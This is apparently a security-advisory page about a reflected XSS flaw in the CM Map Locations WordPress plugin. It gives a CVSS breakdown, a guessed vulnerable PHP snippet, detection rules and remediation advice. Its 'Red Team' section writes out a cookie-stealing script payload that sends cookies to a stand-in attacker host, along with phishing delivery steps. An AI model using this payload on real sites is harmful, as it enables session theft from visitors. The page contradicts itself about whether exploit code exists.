CVE-2025-24758
Executive Summary
CVE-2025-24758 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the CM Map Locations WordPress plugin, developed by CreativeMindsSolutions. The flaw exists in versions up to and including 2.0.8. An attacker can inject malicious JavaScript into a web page via a crafted URL, which executes in the victim's browser when they click the link. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability specifically affects the CM Map Locations WordPress plugin. It is not a server-level issue (e.g., Apache or Nginx). The attack vector relies on the plugin's failure to sanitize user-supplied input before reflecting it in the HTTP response.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – the attack is launched remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – the victim must click a crafted link.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited ability to disrupt service.
Threat Level: High. While user interaction is required, the low complexity and network-based attack vector make this a viable phishing or social engineering target.
Deep Dive & Mechanics
The vulnerability resides in the CM Map Locations plugin's handling of user-supplied input, likely through a shortcode, AJAX endpoint, or query parameter. The plugin fails to properly neutralize input before embedding it in the generated HTML page. This allows an attacker to inject arbitrary JavaScript.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g.,
?map_id=<script>alert('XSS')</script>). - Attacker sends the URL to a victim via email, social media, or other channels.
- Victim clicks the link while logged into a WordPress site with the vulnerable plugin active.
- The plugin processes the request and reflects the unsanitized input into the page response.
- The victim's browser executes the injected script, which can steal cookies, redirect to a phishing site, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding or input validation on the reflected parameter.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. The plugin likely uses a function like echo $_GET['param'] or echo $param without escaping.
Vulnerable Code (PHP):
$map_id = $_GET['map_id'];
echo "<div id='map-$map_id'>Map content</div>";
Patched Code (Hypothetical):
$map_id = sanitize_text_field( $_GET['map_id'] );
echo "<div id='map-" . esc_attr( $map_id ) . "'>Map content</div>";
The patched version uses esc_attr() to HTML-encode the output, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with CM Map Locations <= 2.0.8 installed and activated.
- A victim user with a valid session.
Exploit Steps:
- Identify a vulnerable parameter. Common candidates:
map_id,lat,lng,zoom. - Craft a payload:
http://target-site.com/?map_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - URL-encode the payload for reliability:
http://target-site.com/?map_id=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via phishing email or social engineering.
- Set up a listener on
attacker.comto capture cookies.
Lab Setup (Docker):
docker run -d --name wp-xss -p 8080:80 wordpress:latest
# Install CM Map Locations plugin manually via wp-admin
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious query strings containing
<script>,onerror=,javascript:. - Use a Web Application Firewall (WAF) to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting Query (Splunk):
index=web sourcetype=access_combined uri_query=*map_id* | search uri_query=*<script>* OR uri_query=*onerror=*
Indicators of Compromise (IOCs)
- Network IOCs:
- URLs containing
?map_id=<script>or similar XSS patterns. - Outbound HTTP requests to attacker-controlled domains from the victim's browser.
- URLs containing
- File IOCs:
- Modified WordPress core files (unlikely for reflected XSS).
- Suspicious entries in
wp-content/debug.logif debugging is enabled.
- Behavioral IOCs:
- Unexpected redirects to external sites.
- Unauthorized cookie theft or session hijacking.
Detection Engineering
YARA Rule
rule CVE_2025_24758_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CM Map Locations plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24758"
strings:
$xss_payload = /map_id=[^&]*<script[^>]*>/
$xss_event = /map_id=[^&]*on\w+\s*=/
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against CM Map Locations
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b7d3f1a0e5c
status: experimental
description: Detects reflected XSS attempts in HTTP requests targeting the CM Map Locations plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'map_id=<script'
- 'map_id=onerror='
- 'map_id=javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in map parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24758 Reflected XSS CM Map Locations"; flow:to_server,established; content:"map_id"; http_uri; nocase; pcre:"/map_id=[^&]*<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block requests containing
map_id=<scriptor similar patterns. - Add CSP headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Long-Term Fix:
- The vendor must release a patched version that properly escapes output using
esc_attr()oresc_html(). - Users should update to the latest version once available.
Workaround:
- If the plugin cannot be disabled, use a security plugin like Wordfence to add virtual patching.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.